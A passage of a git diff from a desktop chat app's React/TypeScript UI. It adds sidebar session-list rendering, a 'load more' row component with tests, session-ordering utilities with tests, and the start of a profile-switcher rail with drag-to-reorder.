+                  'flex min-h-0 flex-1 flex-col pb-1.75',
+                  SCROLL_Y,
+                  // Separate profile sections clearly in the ALL view; rows inside
+                  // each group keep their own tight gap-px rhythm.
+                  showAllProfiles ? 'gap-3' : 'gap-px',
+                  // Flatten into the single scroll when compact — unless this is the
+                  // virtualized long list, which must keep its own scroller.
+                  !recentsVirtualizes && COMPACT_FLAT
+                )}
+                dateGrouped
+                dndSensors={dndSensors}
+                emptyState={
+                  showSessionSkeletons ? (
+                    <SidebarSessionSkeletons />
+                  ) : (
+                    <div className="grid min-h-16 place-items-center rounded-lg px-2 text-center text-xs text-(--ui-text-tertiary)">
+                      {inProject ? s.projectEmpty : pinnedSessions.length > 0 ? s.allPinned : s.noSessions}
+                    </div>
+                  )
+                }
+                footer={
+                  // Hide "load more" only when workspace-grouped (those groups page
+                  // themselves). ALL-profiles now pages per-profile from each profile
+                  // header; the global footer only applies to non-ALL views.
+                  !showAllProfiles && !agentsGrouped && !showSessionSkeletons && hasMoreSessions ? (
+                    <SidebarLoadMoreRow
+                      loading={sessionsLoading || recentsLoadMorePending}
+                      onClick={() => void onLoadMoreRecents()}
+                      // Recents are post-filtered to non-project sessions, so a
+                      // backend page size (50) is not a truthful "rows you'll
+                      // see" count. Use the generic label instead of a fake N.
+                      step={0}
+                    />
+                  ) : null
+                }
+                forceEmptyState={showSessionSkeletons}
+                groups={displayAgentGroups}
+                headerAction={
+                  inProject && enteredProject ? (
+                    <div className="group/workspace flex shrink-0 items-center gap-0.5">
+                      {enteredProject.path && <StartWorkButton repoPath={enteredProject.path} />}
+                      {/* Home has no folder and no record to rename, theme, or delete. */}
+                      {!enteredProject.isNoProject && (
+                        <ProjectMenu
+                          isActive={enteredProject.id === activeProjectId}
+                          onExitScope={exitProjectScope}
+                          project={enteredProject}
+                          scoped
+                        />
+                      )}
+                      <div className="grid size-6 place-items-center">
+                        <Tip label={s.showProjects}>
+                          <Button
+                            aria-label={s.showProjects}
+                            className={HEADER_NAV_BTN}
+                            onClick={event => {
+                              event.stopPropagation()
+                              exitProjectScope()
+                            }}
+                            size="icon-xs"
+                            variant="ghost"
+                          >
+                            <Codicon name="list-unordered" size="0.75rem" />
+                          </Button>
+                        </Tip>
+                      </div>
+                    </div>
+                  ) : (
+                    <div className="flex shrink-0 items-center gap-0.5">
+                      {!showAllProfiles ? (
+                        <Tip label={agentsGrouped ? s.projects.newButton : s.nav['new-session']}>
+                          <Button
+                            aria-label={agentsGrouped ? s.projects.newButton : s.nav['new-session']}
+                            className={HEADER_ACTION_BTN}
+                            onClick={event => {
+                              event.stopPropagation()
+
+                              if (agentsGrouped) {
+                                openProjectCreate()
+                              } else {
+                                onNewSessionInWorkspace(null)
+                              }
+                            }}
+                            size="icon-xs"
+                            variant="ghost"
+                          >
+                            <Codicon name="add" size="0.75rem" />
+                          </Button>
+                        </Tip>
+                      ) : null}
+                      <div className="grid size-6 place-items-center">
+                        {!showAllProfiles && agentSessions.length > 0 ? (
+                          <Tip label={agentsGrouped ? s.showSessions : s.showProjects}>
+                            <Button
+                              aria-label={agentsGrouped ? s.showSessions : s.showProjects}
+                              className={cn(
+                                HEADER_NAV_BTN,
+                                agentsGrouped && 'bg-(--ui-control-active-background) text-foreground opacity-100'
+                              )}
+                              onClick={event => {
+                                event.stopPropagation()
+                                setSidebarRecentsOpen(true)
+                                setSidebarAgentsGrouped(!agentsGrouped)
+                              }}
+                              size="icon-xs"
+                              variant="ghost"
+                            >
+                              <Codicon name={agentsGrouped ? 'list-unordered' : 'root-folder'} size="0.75rem" />
+                            </Button>
+                          </Tip>
+                        ) : null}
+                      </div>
+                    </div>
+                  )
+                }
+                label={sessionsLabel}
+                labelMeta={
+                  worktreeGroupingActive ? (
+                    reposScanning && !projectsSkeletonVisible ? (
+                      <GlyphSpinner ariaLabel={s.loading} className="text-[0.6875rem] text-(--ui-text-quaternary)" />
+                    ) : undefined
+                  ) : undefined
+                }
+                liveSessions={inProject ? agentSessions : undefined}
+                manualOrderIds={agentOrderManual ? agentOrderIds : undefined}
+                onArchiveSession={onArchiveSession}
+                onBranchSession={onBranchSession}
+                onDeleteSession={onDeleteSession}
+                onEnterProject={onEnterProject}
+                onNewSessionInWorkspace={showAllProfiles ? undefined : onNewSessionInWorkspace}
+                onReorderProjects={showAllProfiles ? undefined : reorderProjects}
+                onReorderSessions={showAllProfiles ? undefined : reorderSessions}
+                onResumeSession={onResumeSession}
+                onToggle={() => setSidebarRecentsOpen(!agentsOpen)}
+                onTogglePin={pinSession}
+                open={agentsOpen}
+                pinned={false}
+                projectBackRow={
+                  inProject ? <ProjectBackRow label={s.projects.back} onClick={exitProjectScope} /> : undefined
+                }
+                projectContent={inProject ? enteredProjectContent : undefined}
+                projectOverview={projectOverview}
+                projectOverviewPreviews={overviewPreviews}
+                projectRepoWorktrees={inProject ? scopedRepoWorktrees : undefined}
+                projectsLoading={worktreeGroupingActive ? projectTreeLoading : false}
+                removedSessionIds={inProject ? removedSessionIds : undefined}
+                rootClassName={cn(
+                  'min-h-32 flex-1 overflow-hidden p-0',
+                  !recentsVirtualizes && 'compact:min-h-0 compact:flex-none compact:overflow-visible'
+                )}
+                sessions={displayAgentSessions}
+                sortable={!showAllProfiles && agentSessions.length > 1}
+                workingSessionIdSet={workingSessionIdSet}
+              />
+            )}
+
+            {!trimmedQuery &&
+              !worktreeGroupingActive &&
+              messagingGroups.map(group => {
+                const visible = messagingVisible[group.sourceId] ?? NON_SESSION_INITIAL_ROWS
+                const shownSessions = group.sessions.slice(0, visible)
+                // More to show if rows are hidden behind the cap, or the backend
+                // still has older threads on disk.
+                const canRevealMore = visible < group.sessions.length || group.hasMore
+
+                return (
+                  <SidebarSessionsSection
+                    activeSessionId={activeSidebarSessionId}
+                    contentClassName={cn('flex max-h-56 flex-col gap-px pb-1.75', GROUP_BODY)}
+                    emptyState={null}
+                    footer={
+                      canRevealMore ? (
+                        <SidebarLoadMoreRow
+                          loading={Boolean(messagingLoadMorePending[group.sourceId])}
+                          onClick={() => revealMoreMessaging(group.sourceId, group.sessions.length, group.hasMore)}
+                          step={Math.min(NON_SESSION_LOAD_STEP, Math.max(0, group.total - shownSessions.length))}
+                        />
+                      ) : null
+                    }
+                    key={group.sourceId}
+                    label={group.label}
+                    labelIcon={
+                      <PlatformAvatar
+                        className="size-4 rounded-[4px] text-[0.5625rem] [&_svg]:size-3"
+                        platformId={group.sourceId}
+                        platformName={group.label}
+                      />
+                    }
+                    onArchiveSession={onArchiveSession}
+                    onDeleteSession={onDeleteSession}
+                    onResumeSession={onResumeSession}
+                    onToggle={() => toggleSidebarMessagingOpen(group.sourceId)}
+                    onTogglePin={pinSession}
+                    open={messagingOpenIds.includes(group.sourceId)}
+                    pinned={false}
+                    rootClassName="shrink-0 p-0"
+                    sessions={shownSessions}
+                    workingSessionIdSet={workingSessionIdSet}
+                  />
+                )
+              })}
+
+            {!trimmedQuery && !worktreeGroupingActive && cronJobs.length > 0 && (
+              <SidebarCronJobsSection
+                jobs={cronJobs}
+                label={s.cronJobs}
+                onManageJob={onManageCronJob}
+                onOpenRun={onResumeSession}
+                onToggle={() => setSidebarCronOpen(!cronOpen)}
+                onTriggerJob={onTriggerCronJob}
+                open={cronOpen}
+              />
+            )}
+          </div>
+        )}
+
+        {!showSessionSections && <SidebarBlankState onNewProject={openProjectCreate} />}
+
+        <div className="shrink-0 px-0.5 pb-1 pt-0.5">
+          <ProfileRail />
+        </div>
+      </SidebarContent>
+      <ProjectDialog />
+      {/* One mount for the whole app. The header of WorktreeDialog tells why. */}
+      <WorktreeDialog />
+    </Sidebar>
+  )
+}
+
+interface MessagingSection {
+  sourceId: string
+  label: string
+  sessions: SessionInfo[]
+  total: number
+  hasMore: boolean
+}
diff --git a/ui-desktop/src/app/chat/sidebar/load-more-row.test.tsx b/ui-desktop/src/app/chat/sidebar/load-more-row.test.tsx
new file mode 100644
index 000000000..02978ee2a
--- /dev/null
+++ b/ui-desktop/src/app/chat/sidebar/load-more-row.test.tsx
@@ -0,0 +1,54 @@
+import { cleanup, render, screen } from '@testing-library/react'
+import { afterEach, describe, expect, it, vi } from 'vitest'
+
+import { SidebarLoadMoreRow } from './load-more-row'
+
+afterEach(cleanup)
+
+vi.mock('@/i18n', () => ({
+  useI18n: () => ({
+    t: {
+      sidebar: {
+        loadCount: (n: number) => `Load ${n} more`,
+        loadMore: 'Load more',
+        loading: 'Loading…'
+      }
+    }
+  })
+}))
+
+// The tooltip's open transition rides a real, un-act()-wrapped Radix timer
+// that reliably never fires on the Linux CI runner (see dialog.test.tsx's
+// skipped hover test) — so instead of hovering and waiting for the tip to
+// open, we assert the structural fix directly: the button is now wrapped in
+// a Tip (data-slot="tooltip-trigger"), which is what #<issue> was missing.
+describe('SidebarLoadMoreRow', () => {
+  it('wraps the button in a Tip with the loading label as the trigger', () => {
+    render(<SidebarLoadMoreRow loading onClick={vi.fn()} step={0} />)
+
+    const button = screen.getByRole('button', { name: 'Loading…' })
+    expect(button.closest('[data-slot="tooltip-trigger"]')).toBeTruthy()
+  })
+
+  it('wraps the button in a Tip with the count label when a step is given', () => {
+    render(<SidebarLoadMoreRow onClick={vi.fn()} step={5} />)
+
+    const button = screen.getByRole('button', { name: 'Load 5 more' })
+    expect(button.closest('[data-slot="tooltip-trigger"]')).toBeTruthy()
+  })
+
+  it('wraps the button in a Tip with the generic label when step is 0', () => {
+    render(<SidebarLoadMoreRow onClick={vi.fn()} step={0} />)
+
+    const button = screen.getByRole('button', { name: 'Load more' })
+    expect(button.closest('[data-slot="tooltip-trigger"]')).toBeTruthy()
+  })
+
+  it('still fires onClick (Tip does not intercept the trigger interaction)', () => {
+    const onClick = vi.fn()
+    render(<SidebarLoadMoreRow onClick={onClick} step={0} />)
+
+    screen.getByRole('button', { name: 'Load more' }).click()
+    expect(onClick).toHaveBeenCalledOnce()
+  })
+})
diff --git a/ui-desktop/src/app/chat/sidebar/load-more-row.tsx b/ui-desktop/src/app/chat/sidebar/load-more-row.tsx
new file mode 100644
index 000000000..617bad917
--- /dev/null
+++ b/ui-desktop/src/app/chat/sidebar/load-more-row.tsx
@@ -0,0 +1,36 @@
+import { Codicon } from '@/components/ui/codicon'
+import { GlyphSpinner } from '@/components/ui/glyph-spinner'
+import { Tip } from '@/components/ui/tooltip'
+import { useI18n } from '@/i18n'
+
+interface SidebarLoadMoreRowProps {
+  step: number
+  onClick: () => void
+  loading?: boolean
+}
+
+// Compact "load more" affordance shared by recents, messaging, and cron. Kept
+// intentionally identical to workspace "show more" controls (ellipsis button)
+// so pagination reads as one interaction everywhere.
+export function SidebarLoadMoreRow({ step, onClick, loading = false }: SidebarLoadMoreRowProps) {
+  const { t } = useI18n()
+  const label = loading ? t.sidebar.loading : step > 0 ? t.sidebar.loadCount(step) : t.sidebar.loadMore
+
+  return (
+    <Tip label={label}>
+      <button
+        aria-label={label}
+        className="ml-auto grid size-5 place-items-center rounded-sm bg-transparent text-(--ui-text-tertiary) transition-colors hover:bg-(--ui-control-hover-background) hover:text-foreground disabled:cursor-default disabled:opacity-60 disabled:hover:bg-transparent disabled:hover:text-(--ui-text-tertiary)"
+        disabled={loading}
+        onClick={onClick}
+        type="button"
+      >
+        {loading ? (
+          <GlyphSpinner ariaLabel={label} className="text-[0.75rem]" />
+        ) : (
+          <Codicon name="ellipsis" size="0.75rem" />
+        )}
+      </button>
+    </Tip>
+  )
+}
diff --git a/ui-desktop/src/app/chat/sidebar/order.test.ts b/ui-desktop/src/app/chat/sidebar/order.test.ts
new file mode 100644
index 000000000..0829851ce
--- /dev/null
+++ b/ui-desktop/src/app/chat/sidebar/order.test.ts
@@ -0,0 +1,146 @@
+import { describe, expect, it } from 'vitest'
+
+import type { SidebarListRow } from '@/lib/session-date-groups'
+import type { SessionInfo } from '@/types/clawcodex'
+
+import {
+  orderByIds,
+  orderRowsWithinGroups,
+  reconcileOrderIds,
+  reorderableRowIds,
+  resolveManualSessionOrderIds,
+  sameIds
+} from './order'
+
+describe('resolveManualSessionOrderIds', () => {
+  it('clears legacy auto-seeded order until the user manually reorders sessions', () => {
+    expect(resolveManualSessionOrderIds(['newest', 'older'], ['older', 'newest'], false)).toEqual([])
+  })
+
+  it('keeps a manual order and surfaces newly seen sessions first', () => {
+    expect(resolveManualSessionOrderIds(['newest', 'older', 'oldest'], ['oldest', 'older'], true)).toEqual([
+      'newest',
+      'oldest',
+      'older'
+    ])
+  })
+
+  it('clears manual order when none of the saved ids still exist', () => {
+    expect(resolveManualSessionOrderIds(['newest'], ['gone'], true)).toEqual([])
+  })
+})
+
+describe('orderByIds', () => {
+  const id = (item: { id: string }) => item.id
+
+  it('returns items untouched when no order is given', () => {
+    const items = [{ id: 'a' }, { id: 'b' }]
+    expect(orderByIds(items, id, [])).toBe(items)
+  })
+
+  it('reorders by the given ids and drops missing ones', () => {
+    const items = [{ id: 'a' }, { id: 'b' }, { id: 'c' }]
+    // 'b' isn't in the order and sits after 'a' (the first ordered item), so
+    // it's an older row: it sinks below the hand-picked pair, not above it.
+    expect(orderByIds(items, id, ['c', 'gone', 'a'])).toEqual([{ id: 'c' }, { id: 'a' }, { id: 'b' }])
+  })
+
+  it('surfaces items absent from the order first', () => {
+    const items = [{ id: 'fresh' }, { id: 'a' }, { id: 'b' }]
+    expect(orderByIds(items, id, ['b', 'a'])).toEqual([{ id: 'fresh' }, { id: 'b' }, { id: 'a' }])
+  })
+
+  it('keeps a newly-loaded older page below the hand-picked order', () => {
+    // Callers pass recency-sorted lists, so an unknown id BELOW the ordered
+    // ones is an older page that just loaded — hoisting it to the top was
+    // dumping 50 stale sessions above the user's arrangement.
+    const items = [{ id: 'a' }, { id: 'b' }, { id: 'old1' }, { id: 'old2' }]
+    expect(orderByIds(items, id, ['b', 'a'])).toEqual([{ id: 'b' }, { id: 'a' }, { id: 'old1' }, { id: 'old2' }])
+  })
+
+  it('splits unknown ids either side of the order by their own position', () => {
+    const items = [{ id: 'new' }, { id: 'a' }, { id: 'b' }, { id: 'old' }]
+    expect(orderByIds(items, id, ['b', 'a'])).toEqual([{ id: 'new' }, { id: 'b' }, { id: 'a' }, { id: 'old' }])
+  })
+})
+
+describe('reconcileOrderIds', () => {
+  it('returns empty for no current ids', () => {
+    expect(reconcileOrderIds([], ['a'])).toEqual([])
+  })
+
+  it('returns current ids when there is no saved order', () => {
+    expect(reconcileOrderIds(['a', 'b'], [])).toEqual(['a', 'b'])
+  })
+
+  it('puts newly-seen ids ahead of the retained saved order', () => {
+    expect(reconcileOrderIds(['fresh', 'a', 'b'], ['b', 'a', 'gone'])).toEqual(['fresh', 'b', 'a'])
+  })
+})
+
+describe('sameIds', () => {
+  it('is true only for identical ordered lists', () => {
+    expect(sameIds(['a', 'b'], ['a', 'b'])).toBe(true)
+    expect(sameIds(['a', 'b'], ['b', 'a'])).toBe(false)
+    expect(sameIds(['a'], ['a', 'b'])).toBe(false)
+  })
+})
+
+const session = (id: string, branchStem?: string): SidebarListRow => ({
+  entry: { branchStem, session: { id } as SessionInfo },
+  kind: 'session'
+})
+
+const divider = (key: string): SidebarListRow =>
+  ({ bucket: { key }, key, kind: 'divider' }) as unknown as SidebarListRow
+
+const ids = (rows: SidebarListRow[]): string[] =>
+  rows.map(row => (row.kind === 'divider' ? `--${row.key}--` : `${row.entry.branchStem ?? ''}${row.entry.session.id}`))
+
+describe('orderRowsWithinGroups', () => {
+  it('returns the same rows when no order is given', () => {
+    const rows = [session('a'), session('b')]
+    expect(orderRowsWithinGroups(rows, [])).toBe(rows)
+  })
+
+  it('keeps identity when the order changes nothing', () => {
+    const rows = [session('a'), session('b')]
+    expect(orderRowsWithinGroups(rows, ['a', 'b'])).toBe(rows)
+  })
+
+  it('reorders within a group without moving the dividers', () => {
+    const rows = [session('a'), session('b'), divider('yesterday'), session('c'), session('d')]
+
+    expect(ids(orderRowsWithinGroups(rows, ['b', 'a', 'd', 'c']))).toEqual(['b', 'a', '--yesterday--', 'd', 'c'])
+  })
+
+  it('never moves a row across a date divider', () => {
+    // 'd' is ranked first overall, but it lives below the divider and must
+    // stay there — chronology owns the groups, the drag only ranks inside one.
+    const rows = [session('a'), session('b'), divider('lastWeek'), session('c'), session('d')]
+
+    expect(ids(orderRowsWithinGroups(rows, ['d', 'c', 'b', 'a']))).toEqual(['b', 'a', '--lastWeek--', 'd', 'c'])
+  })
+
+  it('leaves rows the order does not name in their recency slot', () => {
+    // Only 'a' and 'c' are ranked; 'b' never moves, and the ranked pair swap
+    // into the two slots they already occupied.
+    const rows = [session('a'), session('b'), session('c')]
+
+    expect(ids(orderRowsWithinGroups(rows, ['c', 'a']))).toEqual(['c', 'b', 'a'])
+  })
+
+  it('carries branch children with their parent', () => {
+    const rows = [session('parent'), session('child', '└─ '), session('other')]
+
+    expect(ids(orderRowsWithinGroups(rows, ['other', 'parent']))).toEqual(['other', 'parent', '└─ child'])
+  })
+})
+
+describe('reorderableRowIds', () => {
+  it('lists root session ids in render order, skipping dividers and branches', () => {
+    const rows = [session('a'), session('branch', '├─ '), divider('yesterday'), session('b')]
+
+    expect(reorderableRowIds(rows)).toEqual(['a', 'b'])
+  })
+})
diff --git a/ui-desktop/src/app/chat/sidebar/order.ts b/ui-desktop/src/app/chat/sidebar/order.ts
new file mode 100644
index 000000000..999824372
--- /dev/null
+++ b/ui-desktop/src/app/chat/sidebar/order.ts
@@ -0,0 +1,206 @@
+import type { SidebarListRow } from '@/lib/session-date-groups'
+
+/**
+ * Fold ids absent from the persisted order back in, on the side they belong.
+ *
+ * Callers hand us a recency-sorted `currentIds`, so an id's position relative
+ * to the newest id the saved order still knows about says which side it goes:
+ * ahead of it is genuinely newer (a session created since the last reconcile,
+ * which must not sink), behind it is an older page that just loaded. Hoisting
+ * every unknown id to the top treated those two cases the same, so one "load
+ * more" dropped 50 of the oldest sessions above the hand-ordered list.
+ */
+function mergeFreshByPosition(currentIds: string[], keptIds: string[]): string[] {
+  const kept = new Set(keptIds)
+  const firstKept = currentIds.findIndex(id => kept.has(id))
+  const newer: string[] = []
+  const older: string[] = []
+
+  currentIds.forEach((id, index) => {
+    if (kept.has(id)) {
+      return
+    }
+
+    if (firstKept >= 0 && index < firstKept) {
+      newer.push(id)
+    } else {
+      older.push(id)
+    }
+  })
+
+  return [...newer, ...keptIds, ...older]
+}
+
+/** Ids still present in the persisted order, with new ids folded in by position. */
+export function reconcileFreshFirst(currentIds: string[], orderIds: string[]): string[] {
+  const current = new Set(currentIds)
+
+  return mergeFreshByPosition(
+    currentIds,
+    orderIds.filter(id => current.has(id))
+  )
+}
+
+export function resolveManualSessionOrderIds(currentIds: string[], orderIds: string[], manual: boolean): string[] {
+  if (!manual || !currentIds.length || !orderIds.length) {
+    return []
+  }
+
+  const current = new Set(currentIds)
+  const retained = orderIds.filter(id => current.has(id))
+
+  if (!retained.length) {
+    return []
+  }
+
+  return reconcileFreshFirst(currentIds, orderIds)
+}
+
+/**
+ * Reorder `items` by `orderIds`. Items missing from the order are folded in by
+ * position, same rule as {@link reconcileFreshFirst}: a brand-new session ahead
+ * of everything the order knows stays on top, an older page that just loaded
+ * sinks below the hand-picked list instead of jumping it.
+ */
+export function orderByIds<T>(items: T[], getId: (item: T) => string, orderIds: string[]): T[] {
+  if (!orderIds.length) {
+    return items
+  }
+
+  const byId = new Map(items.map(item => [getId(item), item]))
+  const seen = new Set<string>()
+  const ordered: T[] = []
+
+  for (const id of orderIds) {
+    const item = byId.get(id)
+
+    if (item) {
+      ordered.push(item)
+      seen.add(id)
+    }
+  }
+
+  if (seen.size === items.length) {
+    return ordered
+  }
+
+  const firstOrdered = items.findIndex(item => seen.has(getId(item)))
+  const newer: T[] = []
+  const older: T[] = []
+
+  items.forEach((item, index) => {
+    if (seen.has(getId(item))) {
+      return
+    }
+
+    if (firstOrdered >= 0 && index < firstOrdered) {
+      newer.push(item)
+    } else {
+      older.push(item)
+    }
+  })
+
+  return [...newer, ...ordered, ...older]
+}
+
+/** Reconcile a persisted order against the live id set. */
+export function reconcileOrderIds(currentIds: string[], orderIds: string[]): string[] {
+  if (!currentIds.length) {
+    return []
+  }
+
+  if (!orderIds.length) {
+    return currentIds
+  }
+
+  return reconcileFreshFirst(currentIds, orderIds)
+}
+
+/** True when two id lists are element-for-element identical. */
+export function sameIds(left: string[], right: string[]): boolean {
+  return left.length === right.length && left.every((item, index) => item === right[index])
+}
+
+/**
+ * Apply a hand-picked order WITHIN each chronological group, never across them.
+ *
+ * A drag used to switch the whole list into a frozen manual mode with no date
+ * dividers at all: one reorder and the sidebar stopped being chronological,
+ * permanently and for every row. Ranking and grouping are separate concerns —
+ * the calendar buckets stay exactly where recency put them, and the manual
+ * order only decides the sequence of rows inside a bucket.
+ *
+ * Rows are permuted as clusters (a parent plus the branch children nested under
+ * it) so a reorder can't strand a branch away from its parent, and clusters the
+ * saved order doesn't know about keep the slot recency gave them — only the
+ * ones it names are re-slotted, into the positions they already occupied.
+ */
+export function orderRowsWithinGroups(rows: SidebarListRow[], orderIds: string[]): SidebarListRow[] {
+  if (!orderIds.length || !rows.length) {
+    return rows
+  }
+
+  const rank = new Map(orderIds.map((id, index) => [id, index]))
+  const out: SidebarListRow[] = []
+  let cluster: SidebarListRow[][] = []
+  let reordered = false
+
+  // Re-slot the clusters the saved order names, leaving every other cluster
+  // (and every divider) exactly where it is.
+  const flushGroup = () => {
+    const ranked = cluster
+      .map((rows_, index) => ({ index, rank: rank.get(clusterId(rows_)) }))
+      .filter((entry): entry is { index: number; rank: number } => entry.rank !== undefined)
+
+    const slots = ranked.map(entry => entry.index)
+    const sorted = [...ranked].sort((a, b) => a.rank - b.rank)
+    const next = [...cluster]
+
+    slots.forEach((slot, i) => {
+      const source = cluster[sorted[i].index]
+
+      reordered ||= source !== next[slot]
+      next[slot] = source
+    })
+
+    for (const rows_ of next) {
+      out.push(...rows_)
+    }
+
+    cluster = []
+  }
+
+  for (const row of rows) {
+    if (row.kind === 'divider') {
+      flushGroup()
+      out.push(row)
+
+      continue
+    }
+
+    // A branch child rides with the parent cluster above it.
+    if (row.entry.branchStem && cluster.length) {
+      cluster[cluster.length - 1].push(row)
+
+      continue
+    }
+
+    cluster.push([row])
+  }
+
+  flushGroup()
+
+  return reordered ? out : rows
+}
+
+/** A cluster's identity: its root row's session id. */
+function clusterId(rows: SidebarListRow[]): string {
+  const root = rows[0]
+
+  return root.kind === 'session' ? root.entry.session.id : ''
+}
+
+/** The reorderable ids of a rendered row list: root sessions, in render order. */
+export function reorderableRowIds(rows: SidebarListRow[]): string[] {
+  return rows.flatMap(row => (row.kind === 'session' && !row.entry.branchStem ? [row.entry.session.id] : []))
+}
diff --git a/ui-desktop/src/app/chat/sidebar/profile-switcher.tsx b/ui-desktop/src/app/chat/sidebar/profile-switcher.tsx
new file mode 100644
index 000000000..419e5b0e5
--- /dev/null
+++ b/ui-desktop/src/app/chat/sidebar/profile-switcher.tsx
@@ -0,0 +1,748 @@
+import {
+  closestCenter,
+  DndContext,
+  type DragEndEvent,
+  type DragOverEvent,
+  type DragStartEvent,
+  KeyboardSensor,
+  type Modifier,
+  PointerSensor,
+  useSensor,
+  useSensors
+} from '@dnd-kit/core'
+import {
+  arrayMove,
+  horizontalListSortingStrategy,
+  SortableContext,
+  sortableKeyboardCoordinates,
+  useSortable
+} from '@dnd-kit/sortable'
+import { CSS } from '@dnd-kit/utilities'
+import { useStore } from '@nanostores/react'
+import { useEffect, useRef, useState } from 'react'
+import { useNavigate } from 'react-router'
+
+import { getProfileSoul, updateProfileSoul } from '@/clawcodex'
+import { CodeEditor } from '@/components/chat/code-editor'
+import { Button } from '@/components/ui/button'
+import { Codicon } from '@/components/ui/codicon'
+import { ColorSwatches } from '@/components/ui/color-swatches'
+import { ContextMenu, ContextMenuContent, ContextMenuItem, ContextMenuTrigger } from '@/components/ui/context-menu'
+import { Dialog, DialogContent, DialogFooter, DialogHeader, DialogTitle } from '@/components/ui/dialog'
+import { Popover, PopoverAnchor, PopoverContent } from '@/components/ui/popover'
+import { Select, SelectContent, SelectItem, SelectTrigger, SelectValue } from '@/components/ui/select'
+import { Tip, Tooltip, TooltipContent, TooltipProvider, TooltipTrigger } from '@/components/ui/tooltip'
+import { useI18n } from '@/i18n'
+import { triggerHaptic } from '@/lib/haptics'
+import { PROFILE_SWATCHES, profileColorSoft, resolveProfileColor } from '@/lib/profile-color'
+import {
+  REORDER_DRAG_TRANSITION_CSS,
+  REORDER_RAIL_TRANSITION,
+  reorderCommitHaptic,
+  reorderStepHaptic
+} from '@/lib/reorder'
+import { cn } from '@/lib/utils'
+import { notify, notifyError } from '@/store/notifications'
+import {
+  $activeGatewayProfile,
+  $profileColors,
+  $profileCreateRequest,
+  $profileOrder,
+  $profiles,
+  $profileScope,
+  ALL_PROFILES,
+  normalizeProfileKey,
+  refreshActiveProfile,
+  selectProfile,
+  setProfileColor,
+  setProfileOrder,
+  setShowAllProfiles,
+  sortByProfileOrder
+} from '@/store/profile'
+import { runExportProfileFlow, runImportProfileFlow } from '@/store/profile-share'
+import type { ProfileInfo } from '@/types/clawcodex'
+
+import { CreateProfileDialog } from '../../profiles/create-profile-dialog'
+import { DeleteProfileDialog } from '../../profiles/delete-profile-dialog'
+import { RenameProfileDialog } from '../../profiles/rename-profile-dialog'
+import { PROFILES_ROUTE } from '../../routes'
+
+import { useProfilePrewarm } from './use-profile-prewarm'
+
+const RAIL_GAP = 4 // px — matches gap-1 between squares.
+
+// Past this many profiles the strip of colored squares stops scaling (tiny
+// drag targets, endless horizontal scroll), so the rail collapses to a compact
+// select. Drag-reorder and long-press-recolor live only on the squares path.
+const PROFILE_DROPDOWN_THRESHOLD = 13
+
+// Neighbors reflow on RAIL_TRANSITION; the dragged square glides between
+// snapped cells on the snappier DRAG_TRANSITION. Both come from the SHARED
+// reorder primitive (lib/reorder.ts) so every reorder strip feels identical.
+const RAIL_TRANSITION = REORDER_RAIL_TRANSITION
+const DRAG_TRANSITION = REORDER_DRAG_TRANSITION_CSS
+
+// The rail is a single horizontal strip of fixed cells. Pin drags to the x-axis
+// (no cross-axis scrollbar), snap to whole cells so a square steps slot-to-slot
+// instead of gliding, and clamp to the occupied strip so it can't float past the
+// last profile onto the "+".
+const stepThroughCells: Modifier = ({ containerNodeRect, draggingNodeRect, transform }) => {
+  if (!draggingNodeRect || !containerNodeRect) {
+    return { ...transform, y: 0 }
+  }
+
+  const pitch = draggingNodeRect.width + RAIL_GAP
+  const minX = containerNodeRect.left - draggingNodeRect.left
+  const maxX = containerNodeRect.right - draggingNodeRect.right
+  const snapped = Math.round(transform.x / pitch) * pitch
+
+  return { ...transform, x: Math.min(maxX, Math.max(minX, snapped)), y: 0 }
+}
+
+// Arc-Spaces-style profile rail at the sidebar foot: a default↔all toggle pinned
+// left, the colored named profiles scrolling between, and Manage pinned right.
+// The active profile pops in its own color — the "where am I" cue. Single-
+// profile users see the "+" (create their first profile) and the Manage
+// overflow (edit the default profile's SOUL.md); the colored named squares
+// and the default↔all toggle only appear once a second profile exists.
+export function ProfileRail() {
+  const { t } = useI18n()
+  const p = t.profiles
+  const profiles = useStore($profiles)
+  const scope = useStore($profileScope)
+  const gatewayProfile = useStore($activeGatewayProfile)
+  const order = useStore($profileOrder)
+  const colors = useStore($profileColors)
+  const navigate = useNavigate()
+
+  const [createOpen, setCreateOpen] = useState(false)
+  const [pendingRename, setPendingRename] = useState<null | ProfileInfo>(null)
+  const [pendingDelete, setPendingDelete] = useState<null | ProfileInfo>(null)
+  const [pendingSoul, setPendingSoul] = useState<null | string>(null)
+  const scrollRef = useRef<HTMLDivElement>(null)
+
+  // Too many profiles for the square strip → collapse to the select. Declared
+  // ahead of the wheel effect, which re-binds when the strip mounts/unmounts.
+  const condensed = profiles.length > PROFILE_DROPDOWN_THRESHOLD
+
+  // A plain mouse wheel only emits deltaY; map it to horizontal scroll so the
+  // rail is navigable without a trackpad. Trackpad x-scroll (deltaX) passes
+  // through. Native + non-passive so we can preventDefault and not bleed the
+  // gesture into the sessions list above.
+  useEffect(() => {
+    const el = scrollRef.current
+
+    if (!el) {
+      return
+    }
+
+    const onWheel = (event: WheelEvent) => {
+      if (el.scrollWidth <= el.clientWidth || Math.abs(event.deltaY) <= Math.abs(event.deltaX)) {
+        return
+      }
+
+      el.scrollLeft += event.deltaY
+      event.preventDefault()
+    }
+
+    el.addEventListener('wheel', onWheel, { passive: false })
+
+    return () => el.removeEventListener('wheel', onWheel)
+    // `condensed` swaps the strip out for the dropdown (ref goes null/back).
+  }, [condensed])
+
+  const isAll = scope === ALL_PROFILES
+  const activeKey = normalizeProfileKey(gatewayProfile)
+  const defaultProfile = profiles.find(profile => profile.is_default)
+  const onDefault = !isAll && activeKey === 'default'
+
+  const named = sortByProfileOrder(
+    profiles.filter(profile => !profile.is_default),
+    order
+  )
+
+  const multiProfile = profiles.length > 1
+
+  // distance constraint: a small drag reorders, a tap still selects the profile.
+  const sensors = useSensors(
+    useSensor(PointerSensor, { activationConstraint: { distance: 4 } }),
+    useSensor(KeyboardSensor, { coordinateGetter: sortableKeyboardCoordinates })
+  )
+
+  // Tick a haptic each time the drag crosses into a new cell, and a satisfying
+  // confirm on a committed reorder.
+  const lastOverRef = useRef<string | null>(null)
+
+  const handleDragStart = ({ active }: DragStartEvent) => {
+    lastOverRef.current = String(active.id)
+  }
+
+  const handleDragOver = ({ over }: DragOverEvent) => {
+    const id = over ? String(over.id) : null
+
+    if (id && id !== lastOverRef.current) {
+      lastOverRef.current = id
+      reorderStepHaptic()
+    }
+  }
+
+  const handleDragEnd = ({ active, over }: DragEndEvent) => {
+    lastOverRef.current = null
+
+    if (!over || active.id === over.id) {
+      return
+    }
+
+    const ids = named.map(profile => profile.name)
